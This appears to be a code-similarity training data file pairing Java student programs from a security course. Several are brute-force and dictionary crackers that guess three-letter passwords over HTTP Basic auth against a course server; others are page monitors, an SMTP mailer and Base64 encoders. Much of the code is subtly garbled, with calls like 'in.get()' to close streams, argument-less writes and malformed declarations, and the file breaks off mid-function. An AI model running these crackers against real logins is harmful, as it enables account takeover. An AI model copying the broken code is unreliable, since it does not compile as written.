- "\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\
\npublic class BruteForce extends Thread\n{\n private static final String USERNAME\
\ = \"\";\n private static final char [] POSSIBLE_CHAR =\n {'a', 'b',\
\ 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm',\n 'n', 'o', 'p',\
\ 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',\n 'A', 'B', 'C', 'D',\
\ 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',\n 'N', 'O', 'P', 'Q', 'R',\
\ 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private static int NUMBER_OF_THREAD\
\ = 500;\n\n private static Date startDate = null;\n private static Date endDate\
\ = null;\n\n private String address;\n private String password;\n\n public\
\ BruteForce(String address, String password)\n {\n this.address = address;\n\
\ this.password = password;\n }\n\n public static void main(String[]\
\ args) throws IOException\n {\n if (args.length < 1)\n {\n \
\ System.err.println(\"Invalid usage!\");\n System.err.println(\"Usage:\
\ java BruteForce <url>\");\n System.exit(1);\n }\n\n try\n\
\ {\n brute(args[0], USERNAME);\n }\n catch(Exception e)\n\
\ {\n e.printStackTrace();\n System.exit(1);\n }\n \
\ }\n\n public static void brute(String address, String user)\n {\n \
\ BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n int index =\
\ 0;\n\n startDate = new Date();\n for(int i = 0; i < POSSIBLE_CHAR.length;\
\ i++)\n {\n for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n \
\ {\n for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n \
\ {\n String password = \"\"+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n\
\ POSSIBLE_CHAR[k];\n\n if (threads[index]\
\ != null && threads[index].isAlive())\n {\n try\n\
\ {\n threads[index].join();\n \
\ }\n catch(InterruptedException e ) {}\n \
\ }\n threads[index] = new BruteForce(address, password);\n \
\ threads[index].get();\n\n index = (index++) % threads.length;\n\
\ }\n }\n }\n }\n\n public void run()\n {\n \
\ if (endDate != null)\n return;\n\n try\n {\n\n URLConnection\
\ conn = (new URL(address)).openConnection();\n conn.setDoInput(true);\n\
\n if (login(conn, USERNAME, password))\n {\n endDate\
\ = new Date();\n System.out.println(\"Found the password: \\\"\"+password+\"\
\\\"!\");\n SimpleDateFormat format = new SimpleDateFormat(\"dd/MM/yyyy\
\ HH:mm:\");\n System.out.println(\"Process started at: \"+format.format(startDate));\n\
\ System.out.println(\"Process started at: \"+format.format(endDate));\n\
\ double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n\
\ System.out.println(\"Time taken: \"+timeTaken+\" minutes\");\n \
\ System.exit(0);\n }\n else\n {\n \
\ System.out.println(\"Password: \\\"\"+password+\"\\\" Failed!\");\n \
\ return;\n }\n }\n catch(Exception e)\n {\n \
\ e.printStackTrace();\n }\n\n }\n\n public static boolean login(URLConnection\
\ conn, String user, String pass)\n {\n try\n {\n String encodeAuth\
\ = \" \"+Base64Encoder.encode(user+\":\"+pass);\n conn.setRequestProperty\
\ (\"Authorization\", encodeAuth);\n conn.connect();\n conn.getInputStream();\n\
\ }\n catch(Exception e)\n {\n return false;\n }\n\
\ return true;\n }\n}\n\n\n"
- "\n\nimport java.io.*;\nimport java.util.*;\nimport java.*;\n\npublic class storeNewFile\n\
{\n private PrintWriter outputStream= null;\n private String filename;\n \
\ private FileWriter fw;\n\n public storeNewFile(String fname)\n {\n \
\ try\n {\n filename = fname;\n outputStream=new PrintWriter(new\
\ FileOutputStream(filename));\n }\n catch(FileNotFoundException e)\n\
\ {\n\t System.err.println(\"File \"+filename+\" was not found\");\n \
\ }\n catch(IOException e)\n {\n System.err.println(\"Error\
\ \");\n }\n }\n public void getStringW(StringWriter sw)\n {\n \
\ outputStream.print(sw.toString());\n }\n\n public void closeStream()\n \
\ {\n outputStream.write();\n }\n\n public void translogFile(String\
\ result)\n {\n String fileName = \"TransactionLog.txt\";\n \t try{\n\t\
\ fw=new FileWriter(fileName,true);\n\t fw.write(result);\n\t fw.write('\\\
n');\n\t fw.print();\n \t System.out.println(\"Saved sucessfully\");\n\
\ }catch(IOException e){\n\t\tSystem.out.println(\"Error saving the file\"\
);\n }\n }\n}"
- source_sentence: "import java.net.*; \nimport java.io.*; \nimport java.util.Vector;\n\
import java.util.Date;\nimport java.security.*;\n\n\n\n\n\n\n\n\n\n\n\n \npublic\
\ class Dictionary { \n public static BufferedReader in;\n \n \n public static\
\ void main(String[] args) throws Exception { \n String baseURL = \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\"\
; \n int count=0;\n Date date = new Date();\n startTime=date.getTime();\n\
\ int LIMITINMINUTES=45;\n int TIMELIMIT=LIMITINMINUTES*1000*60;\n boolean\
\ timedOut=false;\n boolean found=false;\n \n \n Vector dictionary=new\
\ Vector(readWords());\n System.out.println(\"Words in dictionary: \"+dictionary.size());\n\
\ \n \n \n \n \n \n \n while (found==false && timedOut==false\
\ && dictionary.elementAt(count)!=null) {\n \n Date endDate = new Date();\n\
\ endTime=endDate.getTime(); \n if (endTime>(TIMELIMIT+startTime)){\n\
\ System.out.println(\"Timed out\");\n timedOut=true;\n }\n\
\ \n String password = \"\";\n\n \n URL url = new URL(baseURL);\
\ \n String username=\"\";\n password = dictionary.elementAt(count).toString();\
\ \n\n \n String authString = username+\":\"+password;\n String\
\ encoding = new misc.BASE64Encoder().encode(authString.getBytes()); \n System.out.print(\"\
authString is: \"+authString); \n \n URLConnection urlConnect=url.openConnection();\n\
\n \n urlConnect.setRequestProperty(\"Authorization\",\" \"+encoding);\n\
\n String responseCode = urlConnect.getHeaderField(0);\n System.out.print(\"\
\ Response is: \");\n System.out.println(responseCode);\n\n if (!responseCode.equals(\"\
HTTP/1.1 401 Authorization Required\")) {\n found=true;\n } \
\ \n if (found){ \n \n System.out.println(\"Password is: \"\
+password);\n\n }\n\n Date foundDate = new Date();\n foundTime=foundDate.getTime();\
\ \n foundTime=(foundTime-startTime);\n System.out.println(\"Time taken\
\ was : \"+foundTime+\" milliseconds\"); \n count=count+1;\n }\n } \n\
\ \n \n \n \n \n public static Vector readWords() { \n String nextWord;\n\
\ String lastWord=\"\";\n Vector dict=new Vector();\n try {\n BufferedReader\
\ in = new BufferedReader(new FileReader(\"words.txt\"));\n while ((nextWord\
\ = in.readLine())!=null) {\n\t\n if (nextWord.length()>3) {\n \
\ nextWord=nextWord.substring(0,3);\n }\n\t\n\tif (!lastWord.equals(nextWord)\
\ && nextWord.length()>0){\n lastWord = nextWord;\n\t \n\t \n\t dict.addElement(nextWord);\n\
\n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\t\
\ \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\
\t \n\t \n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \
\ \n\n\t \n\t \n\t \n\t \n\n\t \n\t \n\t \n\t \n\t\
\ \n\t\n\t} \n } \n System.out.println(\"File successfully loaded\"\
);\t \n } \n catch (FileNotFoundException e1) {\n System.out.println(\"\
This program requires a dictionary of words called words.txt in the same directory\
\ as the program running, now exiting.\");\n System.exit(0);\n }\t\n \
\ catch (IOException e2) {\n System.out.println(\"IO Exception, exiting\"\
);\n System.exit(0);\n }\t \n finally {\n try {\n\tif (null!=in)\
\ {\n in.get();\n\t}\n }\n catch (IOException e3) {}\n }\n\
\ return dict;\n } \n} \n"
sentences:
- "package java.httputils;\n\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\n\
import java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\n\
import java.io.FileOutputStream;\nimport java.io.FileReader;\nimport java.io.IOException;\n\
import java.io.OutputStream;\n\n\npublic class WatchDog\n{\n protected final\
\ int MILLIS_IN_HOUR = (60 * 60 * 1000);\n protected int interval = 24;\n \
\ protected String URL = \"http://www.cs.rmit.edu./students/\";\n protected\
\ String fileName = \"WatchDogContent.html\";\n protected String command =\
\ \"./alert_mail.sh\";\n protected String savedContent;\n protected String\
\ retrievedContent;\n\n \n public WatchDog()\n {\n super();\n\
\ }\n\n \n public void run() throws Exception\n {\n HttpRequestClient\
\ client = null;\n \n \n System.out.println(getClass().getName()\
\ +\n \"Retrieving baseline copy of: \" + getURL());\n\
\ client = new HttpRequestClient(getURL());\n retrievedContent =\
\ client.getContent().toString();\n\n System.out.println(getClass().getName()\
\ +\n \"Writing baseline content : \" + getFileName());\n\
\ writeFile();\n\n while (true)\n {\n \n \
\ System.out.println(getClass().getName() +\n \
\ \" Sleeping for hours: \" + getInterval());\n Thread.currentThread().sleep(MILLIS_IN_HOUR\
\ * getInterval());\n\n \n System.out.println(getClass().getName()\
\ +\n \" Retrieving: \" + getURL());\n\n \
\ client = new HttpRequestClient(getURL());\n retrievedContent = client.getContent().toString();\n\
\n \n System.out.println(getClass().getName() +\n \
\ \" saved copy: \" + getURL());\n savedContent\
\ = readFile();\n\n \n System.out.println(getClass().getName()\
\ +\n \" Comparing saved and retrieved. \");\n \
\ if (!savedContent.equals(retrievedContent))\n {\n \
\ \n System.out.println(getClass().getName() +\n \
\ \" Difference found. \");\n\n writeTempFile();\n\
\ runCommand();\n }\n\n \n writeFile();\n\
\ }\n }\n\n\n \n public String runCommand()\n {\n String\
\ cmd = getCommand() + \" \\\"\" + getURL() + \"\\\"\";\n try\n \
\ {\n Runtime r = Runtime.getRuntime();\n System.out.println(getClass().getName()\
\ +\n \" Executing: \" + cmd);\n\n Process proc = r.exec(cmd);\n\
\ }\n catch (Exception e)\n {\n try\n \
\ {\n Runtime r = Runtime.getRuntime();\n Process\
\ proc = r.exec(cmd);\n }\n catch (Exception ex)\n \
\ {\n System.out.println(getClass().getName()\n \
\ + \" Could not run :\"\n + getCommand()\n \
\ + \" because : \"\n + ex.getMessage());\n \
\ }\n }\n\n return \"Executed successfully\";\n }\n\
\n \n protected String readFile() throws FileNotFoundException\n {\n\
\ BufferedInputStream input = null;\n FileInputStream file = null;\n\
\ StringBuffer content = new StringBuffer();\n try\n {\n\
\ file = new FileInputStream(getFileName());\n \n \
\ input = new BufferedInputStream(file);\n \n }\n \
\ catch (FileNotFoundException x)\n {\n System.err.println(\"\
File not found: \" + getFileName());\n throw x;\n }\n\n \
\ try\n {\n int ch;\n while ((ch = input.get())\
\ != -1)\n {\n content.append((char)ch);\n \
\ }\n }\n catch (IOException x)\n {\n x.printStackTrace();\n\
\ }\n finally\n {\n if (input != null)\n \
\ {\n try\n {\n input.get();\n\
\ file.get();\n }\n catch (IOException\
\ e)\n {\n }\n }\n }\n \
\ return content.toString();\n }\n\n \n protected void writeFile() throws\
\ Exception\n {\n OutputStream os = null;\n try\n {\n\
\ os = new BufferedOutputStream(\n new FileOutputStream(getFileName(),\
\ false));\n os.write(getRetrievedContent().getBytes());\n }\n\
\ catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\
\ throw e;\n }\n catch (IOException e)\n {\n \
\ e.printStackTrace();\n throw e;\n }\n finally\n\
\ {\n if (os != null)\n {\n try\n\
\ {\n os.close();\n }\n \
\ catch (IOException e)\n {\n }\n \
\ }\n }\n }\n\n \n protected void writeTempFile() throws\
\ Exception\n {\n OutputStream os = null;\n try\n {\n\
\ os = new BufferedOutputStream(\n new FileOutputStream(\"\
.html\", false));\n os.write(getRetrievedContent().getBytes());\n \
\ }\n catch (FileNotFoundException e)\n {\n e.printStackTrace();\n\
\ throw e;\n }\n catch (IOException e)\n {\n \
\ e.printStackTrace();\n throw e;\n }\n finally\n\
\ {\n if (os != null)\n {\n try\n\
\ {\n os.close();\n }\n \
\ catch (IOException e)\n {\n }\n \
\ }\n }\n }\n\n public static void main(String[] args)\n \
\ {\n WatchDog watchDog = new WatchDog();\n\n if (args.length\
\ < 3)\n {\n watchDog.printUsage();\n }\n\n \n\
\ System.out.println(watchDog.getClass().getName() +\n \
\ \": Initialising with \" +\n args[0] + \" \\n\"\
\ +\n args[1] + \" \\n\" +\n args[2]\
\ + \" \\n\");\n watchDog.setURL(args[0]);\n watchDog.setInterval(Integer.parseInt(args[1]));\n\
\ watchDog.setCommand(args[2]);\n\n \n try\n {\n \
\ System.out.println(watchDog.getClass().getName() + \": Invoking the\
\ run method.\");\n watchDog.run();\n }\n catch (Exception\
\ e)\n {\n e.printStackTrace();\n }\n }\n\n public\
\ String printUsage()\n {\n StringBuffer s = new StringBuffer();\n\n\
\ s.append(\"** WatchDog proper usage **\\n\\n\");\n s.append(\n\
\ this.getClass().getName() +\n \" <URL> <interval> <Command\
\ execute>\\n\\n\");\n\n return s.toString();\n }\n\n \n public\
\ String getCommand()\n {\n return command;\n }\n\n \n public\
\ String getFileName()\n {\n return fileName;\n }\n\n \n public\
\ int getInterval()\n {\n return interval;\n }\n\n \n public\
\ String getURL()\n {\n return URL;\n }\n\n \n public void\
\ setCommand(String string)\n {\n command = string;\n }\n\n \n\
\ public void setFileName(String string)\n {\n fileName = string;\n\
\ }\n\n \n public void setInterval(int i)\n {\n interval =\
\ i;\n }\n\n \n public void setURL(String string)\n {\n URL\
\ = string;\n }\n\n \n public String getRetrievedContent()\n {\n \
\ return retrievedContent;\n }\n\n \n public String getSavedContent()\n\
\ {\n return savedContent;\n }\n\n \n public void setRetrievedContent(String\
\ string)\n {\n retrievedContent = string;\n }\n\n \n public\
\ void setSavedContent(String string)\n {\n savedContent = string;\n\
\ }\n\n}\n"
- "\n\n\n\nimport java.net.*;\nimport java.io.*;\nimport java.util.Date;\n\npublic\
\ class MyMail implements Serializable\n{\n\t\n\n\t\n\tpublic static final int\
\ SMTPPort = 25;\n\n\t\n\tpublic static final char successPrefix = '2';\n\n\t\n\
\tpublic static final char morePrefix = '3';\n\n\t\n\tpublic static final char\
\ failurePrefix = '4';\n\n\t\n\n\t\n\tprivate static final String CRLF = \"\\\
r\\n\";\n\n\t\n\tprivate String mailFrom = \"\";\n\n\t\n\tprivate String mailTo\
\ = \"\";\n\n\t\n\tprivate String messageSubject = \"\";\n\n\t\n\tprivate String\
\ messageBody = \"\";\n\n\t\n\tprivate String mailServer = \"\";\n\n\t\n\tpublic\
\ MyMail ()\n\t{\n\t\t\n\t\tsuper();\n\t}\n\n\t\n\tpublic MyMail ( String serverName)\n\
\t{\n\t\t\n\t\tsuper();\n\n\t\t\n\t\tmailServer = serverName;\n\t}\n\n\t\n\tpublic\
\ String getFrom()\n\t{\n\t\treturn mailFrom;\n\t}\n\n\t\n\tpublic String getTo()\n\
\t{\n\t\treturn mailTo;\n\t}\n\n\t\n\tpublic String getSubject()\n\t{\n\t\treturn\
\ messageSubject;\n\t}\n\n\t\n\tpublic String getMessage()\n\t{\n\t\treturn messageBody;\n\
\t}\n\n\t\n\tpublic String getMailServer()\n\t{\n\t\treturn mailServer;\n\t}\n\
\n\t\n\tpublic void setFrom( String from )\n\t{\n\t\t\n\t\tmailFrom = from;\n\t\
}\n\n\t\n\tpublic void setTo ( String To )\n\t{\n\t\t\n\t\tmailTo = To;\n\t}\n\
\n\t\n\tpublic void setSubject ( String subject )\n\t{\n\t\t\n\t\tmessageSubject\
\ = subject;\n\t}\n\n\t\n\tpublic void setMessage ( String msg )\n\t{\n\t\t\n\t\
\tmessageBody = msg;\n\t}\n\n\t\n\tpublic void setMailServer ( String server )\n\
\t{\n\t\t\n\t\tmailServer = server;\n\t}\n\n\t\n\tprivate boolean responseValid(\
\ String response )\n\t{\n\t\t\n\n\t\t\n\t\tif (response.indexOf(\" \") == -1)\n\
\t\t\t\n\t\t\treturn false;\n\n\t\t\n\t\tString cad = response.substring( 0, response.indexOf(\"\
\ \"));\n\n\t\t\n\t\tcad = cad.toUpperCase();\n\n\t\t\n\t\tif (( cad.charAt(0)\
\ == successPrefix ) ||\n\t\t ( cad.charAt(0) == morePrefix ) )\n\t\t\t\n\t\
\t\t\treturn true;\n\t\t\telse\n\t\t\t\t\n\t\t\t\treturn false;\n\t\t}\n\n\t\n\
\tpublic void sendMail()\n\t{\n\t\ttry {\n\t\tString response;\n\n\t\t\n\t\tSocket\
\ mailSock = new Socket (mailServer, SMTPPort);\n\n\t\t\n\t\tBufferedReader bf\
\ = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));\n\t\
\tPrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));\n\
\n\t\t\n\t\tSystem.out.println(\"1\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\
\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR - \" +\
\ response);\n\n\t\t\n\t\ttry\n\t\t{\n\t\t\tInetAddress addr = InetAddress.getLocalHost();\n\
\n\t\t\tString localHostname = addr.getHostName();\n\t\t\t\n\t\t\tpout.print (\"\
HELO \" + localHostname + CRLF);\n\t\t}\n\t\tcatch (UnknownHostException uhe)\n\
\t\t{\n\t\t\t\n\t\t\tpout.print (\"HELO myhostname\" + CRLF);\n\t\t}\n\n\t\t\n\
\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"2\");\n\t\tresponse = bf.readLine();\n\
\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\
\ - \" + response);\n\n\t\t\n\t\tpout.println (\"MAIL From:<\" + mailFrom + \"\
>\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"3\");\n\t\t\
response = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\t\
throw new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println (\"RCPT\
\ :<\" + mailTo + \">\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"\
4\");\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response)\
\ )\n\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\tpout.println\
\ (\"DATA\");\n\n\t\t\n\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"5\"\
);\n\t\tresponse = bf.readLine();\n\n\t\t\n\t\tif ( !responseValid(response) )\n\
\t\t\tthrow new IOException(\"ERR - \" + response);\n\n\t\t\n\t\t\n\t\tpout.println\
\ (\"From: \" + mailFrom);\n\t\tpout.println (\": \" + mailTo);\n\t\tpout.println\
\ (\"Subject: \" + messageSubject);\n\n\t\t\n\t\tpout.println ();\n\n\t\t\n\t\t\
pout.println (messageBody);\n\n\t\t\n\t\tpout.println (\".\\n\\r\");\n\n\t\t\n\
\t\tpout.flush();\n\n\t\t\n\t\tSystem.out.println(\"6\");\n\t\tresponse = bf.readLine();\n\
\n\t\t\n\t\tif ( !responseValid(response) )\n\t\t\tthrow new IOException(\"ERR\
\ - \" + response);\n\n\t\t\n\t\tpout.println (\"QUIT\");\n\n\t\t\n\t\tpout.flush();\n\
\n\t\t\n\t\tmailSock.close();\n\t\t}\n\t\tcatch (IOException ioe)\n\t\t{\n\t\t\
\tSystem.out.println(ioe.getMessage());\n\t\t}\n\t}\n\n}"
- "\nimport java.util.*;\nimport java.net.*;\nimport java.io.*;\npublic class WatchDog\n\
{\n private Vector init;\n public WatchDog()\n {\n try\n {\n \
\ Runtime run = Runtime.getRuntime();\n String command_line = \"lynx\
\ http://www.cs.rmit.edu./students/ -dump\";\n Process result = run.exec(command_line);\n\
\ BufferedReader in = new BufferedReader(new InputStreamReader(result.getInputStream()));\n\
\ String inputLine;\n init = new Vector();\n while ((inputLine\
\ = in.readLine()) != null)\n {\n init.addElement(inputLine);\n \
\ }\n \n }catch(Exception e)\n {\n }\n }\n public static\
\ void main(String args[])\n {\n WatchDog wd = new WatchDog();\n wd.nextRead();\n\
\ }\n\n public void nextRead()\n {\n while(true)\n {\n ScheduleTask\
\ sch = new ScheduleTask(init);\n if(sch.getFlag()!=0)\n {\n \
\ System.out.println(\"change happen\");\n WatchDog wd = new WatchDog();\n\
\ wd.nextRead();\n }\n \n }\n }\n}"
- source_sentence: "import java.*;\nimport java.io.*;\npublic class C\n{\n public\
\ static void main (String [] args){\n try{\n \n int m=0,n=0,w=0;\n\
\ String file = \"passwd.\";\n char ch1='A',ch2='A',ch3='A';\n \
\ for(int i = 0 ; i < 26; i++ )\n {\n for(w=0;w<2;w++)\n\
\ {\n if (w==1)\n i+=32;\n for(int j =\
\ 0; j< 26 ; j++)\n {\n for(n=0;n<2;n++)\n {\n\
\ if(n==1)\n j+=32;\n for(int k = 0; k<26\
\ ; k++)\n {\n for(m=0; m<2; m++)\n \
\ {\n if(m==1)\n k+=32;\n \
\ char data[] = {(char)(i+ch1), (char)(j+ch2), (char)(k+ch3)};\n \
\ String str = new String(data);\n System.out.println(str);\n\
\ FileWriter fr1 = new FileWriter(file,true);\n \
\ BufferedWriter in1 = new BufferedWriter(fr1);\n in1.write(str);\n\
\ in1.newLine();\n in1.print();\n \
\ if (k>=31)\n k-=32;\n \
\ }\n }\n if(j>=31)\n j=j-32;\n \
\ }\n }\n if(i>=31)\n i-=32;\n \
\ }\n }\n}\ncatch(IOException e)\n{\n System.out.println(\"try\"\
);\n}\n}\n}\n"
sentences:
- "\n\npublic class Base64 {\n\n\tfinal static String baseTable = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"\
;\n\n\t\n\tpublic static String encode(byte[] bytes) {\n\n\t\tString tmp = \"\"\
;\n\t\tint i = 0;\n\t\tbyte pos; \n\n\t\tfor(i=0; i < (bytes.length - bytes.length%3);\
\ i+=3) {\n\n\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\ttmp = tmp + baseTable.charAt(pos);\
\ \n\n\t\t\tpos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); \n\
\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\t\t\n\t\t\tpos = (byte) (((bytes[i+1]\
\ & 15) << 2) + ((bytes[i+2] >> 6) & 3));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\
\t\t\n\t\t\tpos = (byte) (((bytes[i+2]) & 63));\n\t\t\ttmp = tmp + baseTable.charAt(pos);\n\
\t\t\n\t\t\t\n\t\t\t\n\t\t\tif(((i+2)%56) == 0) {\n\t\t\t\ttmp = tmp + \"\\r\\\
n\";\n\t\t\t}\n\t\t}\n\n\t\tif(bytes.length % 3 != 0) {\n\n\t\t\tif(bytes.length\
\ % 3 == 2) {\n\n\t\t\t\tpos = (byte) ((bytes[i] >> 2) & 63); \n\t\t\t\ttmp =\
\ tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte) (((bytes[i] & 3) << 4)\
\ + ((bytes[i+1] >> 4) & 15)); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\
\t\t\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i+1] & 15) << 2);\n\t\t\t\ttmp = tmp\
\ + baseTable.charAt(pos);\n\t\t\t\n\t\t\t\ttmp = tmp + \"=\";\n\n\t\t\t} else\
\ if(bytes.length % 3 == 1) {\n\t\t\t\t\n\t\t\t\tpos = (byte) ((bytes[i] >> 2)\
\ & 63); \n\t\t\t\ttmp = tmp + baseTable.charAt(pos); \n\n\t\t\t\tpos = (byte)\
\ ((bytes[i] & 3) << 4); \n\t\t\t\ttmp = tmp + baseTable.charAt( pos );\n\t\t\t\
\t\t\t\n\t\t\t\ttmp = tmp + \"==\";\n\t\t\t}\n\t\t}\n\t\treturn tmp;\n\n\t}\n\n\
\t\n\tpublic static String encode(String src) {\n\t\t\n\t\treturn encode(src.getBytes());\t\
\n\t}\n\n\tpublic static byte[] decode(String src) throws Exception {\n\n\t\t\
byte[] bytes = null;\n\n\t\tStringBuffer buf = new StringBuffer(src);\n\n\t\t\n\
\t\tint i = 0;\n\t\tchar c = ' ';\n\t\tchar oc = ' ';\n\t\twhile( i < buf.length())\
\ {\t\t\t\n\t\t\toc = c; \n\t\t\tc = buf.charAt(i);\n\t\t\tif( oc == '\\r' &&\
\ c == '\\n') {\n\t\t\t\tbuf.deleteCharAt(i);\n\t\t\t\tbuf.deleteCharAt(i-1);\n\
\t\t\t\ti -= 2;\n\t\t\t} else if( c == '\\t') {\n\t\t\t\tbuf.deleteCharAt(i);\n\
\t\t\t\ti --;\n\t\t\t} else if( c == ' ') {\n\t\t\t\ti --;\n\t\t\t}\n\t\t\ti++;\n\
\t\t}\n\n\t\t\n\t\tif(buf.length() % 4 != 0) {\n\t\t\tthrow new Exception(\"Base64\
\ decoding invalid length\");\n\t\t}\n\n\t\t\n\t\tbytes = new byte[3 * (buf.length()\
\ / 4)];\n\t\t\n\t\t\n\t\tint index = 0;\n\t\t\n\t\t\n\t\tfor(i = 0; i < buf.length();\
\ i+=4) {\n\n\t\t\tbyte data = 0;\n\t\t\tint nGroup = 0;\n\n\t\t\tfor(int j =\
\ 0; j < 4; j++) {\n\n\t\t\t\tchar theChar = buf.charAt(i + j); \n\n\t\t\t\tif(theChar\
\ == '=') {\n\t\t\t\t\tdata = 0;\n\t\t\t\t} else {\n\t\t\t\t\tdata = getBaseTableIndex(theChar);\
\ \n\t\t\t\t}\n\n\t\t\t\tif(data == -1) {\n\t\t\t\t\tthrow new Exception(\"Base64\
\ decoding bad character\");\n\t\t\t\t}\n\n\t\t\t\tnGroup = 64*nGroup + data;\n\
\t\t\t}\n\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 16));\n\t\t\tindex ++;\n\
\n\t\t\tbytes[index] = (byte) (255 & (nGroup >> 8));\n\t\t\tindex ++;\n\n\t\t\t\
bytes[index] = (byte) (255 & (nGroup));\n\t\t\tindex ++;\n\t\t}\n\t\t\n\t\tbyte[]\
\ newBytes = new byte[index];\n\t\tfor(i = 0; i < index; i++) {\n\t\t\tnewBytes[i]\
\ = bytes[i];\n\t\t}\n\n\t\treturn newBytes;\n\t}\n\n\t\n\tprotected static byte\
\ getBaseTableIndex(char c) {\n\t\t\n\t\tbyte index = -1;\n\n\t\tfor(byte i =\
\ 0; i < baseTable.length(); i ++) {\n\t\t\n\t\t\tif(baseTable.charAt(i) == c)\
\ {\n\t\t\t\tindex = i;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\treturn index;\n\
\t}\n}"
- "\n\nimport java.io.*;\nimport java.net.*;\nimport java.misc.BASE64Encoder;\n\n\
public class BruteForce\n{\n public BruteForce()\n {}\n\n public boolean fetchURL(String\
\ urlString,String username,String password)\n {\n StringWriter = new StringWriter();\n\
\ PrintWriter pw = new PrintWriter();\n try{\n URL url=new URL(urlString);\
\ \n String userPwd= username+\":\"+password;\n\n \n \n \
\ \n \n\n BASE64Encoder encoder = new BASE64Encoder();\n \
\ String encodedStr = encoder.encode (userPwd.getBytes());\n System.out.println(\"\
Original String = \" + userPwd);\n\t System.out.println(\"Encoded String = \"\
\ + encodedStr);\n\n HttpURLConnection huc=(HttpURLConnection) url.openConnection();\
\ \n huc.setRequestProperty( \"Authorization\",\" \"+encodedStr); \n\
\ InputStream content = (InputStream)huc.getInputStream();\n BufferedReader\
\ in = \n new BufferedReader (new InputStreamReader (content));\n \
\ String line;\n while ((line = in.readLine()) != null) {\n pw.println\
\ (line);\n System.out.println(\"*************************************************\"\
);\n System.out.println(sw.toString());\n }return true;\n } catch\
\ (MalformedURLException e) {\n pw.println (\"Invalid URL\");\n return\
\ false;\n } catch (IOException e) {\n pw.println (\"Error URL\");\n\
\ return false;\n }\n\n }\n\n public void getPassword()\n { \n \
\ String alps=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n \
\ String urlString=\"http://sec-crack.cs.rmit.edu./SEC/2/\";\n String login=\"\
\";\n String pwd=\" \";\n\n startTime=System.currentTimeMillis();\n \
\ for(int oneChar=0;oneChar<alps.length();oneChar++)\n {\n pwd=alps.substring(oneChar,oneChar+1);\n\
\ if(this.fetchURL(urlString,login,pwd))\n {\n finishTime=System.currentTimeMillis();\n\
\ System.out.println(\"Finally I gotta it, password is : \"+pwd);\n\
\ System.out.println(\"The time for cracking password is: \"+(finishTime-startTime)\
\ + \" milliseconds\");\n System.exit(1);\n } \n for(int\
\ twoChar=0;twoChar<alps.length();twoChar++)\n {\n pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1);\n\
\ if(this.fetchURL(urlString,login,pwd))\n {\n \
\ finishTime=System.currentTimeMillis();\n System.out.println(\"\
Finally I gotta it, password is : \"+pwd);\n System.out.println(\"\
The time for cracking password is: \"+(finishTime-startTime) + \" milliseconds\"\
);\n System.exit(1);\n }\n for(int threeChar=0;threeChar<alps.length();threeChar++)\n\
\ {\n pwd=alps.substring(oneChar,oneChar+1)+alps.substring(twoChar,twoChar+1)+alps.substring(threeChar,threeChar+1);\n\
\ if(this.fetchURL(urlString,login,pwd))\n {\n \
\ finishTime=System.currentTimeMillis();\n System.out.println(\"\
Finally I gotta it, password is : \"+pwd);\n System.out.println(\"\
The time for cracking password is: \"+(finishTime-startTime)+ \" milliseconds\"\
);\n System.exit(1);\n }\n }\n }\n\
\ }\n }\n\n public static void main(String[] arguments)\n {\n BruteForce\
\ bf=new BruteForce();\n bf.getPassword();\n } \n}"
- "\n\npublic class Base64 {\n\n\nstatic public char[] encode(byte[] data)\n{\n\
\ char[] out = new char[((data.length + 2) / 3) * 4];\n\n \n \n \n\
\ \n for (int i=0, index=0; i<data.length; i+=3, index+=4) {\n boolean\
\ quad = false;\n boolean trip = false;\n\n int bat = (0xFF & (int)\
\ data[i]);\n bat <<= 8;\n if ((i+1) < data.length) {\n \
\ bat |= (0xFF & (int) data[i+1]);\n trip = true;\n }\n \
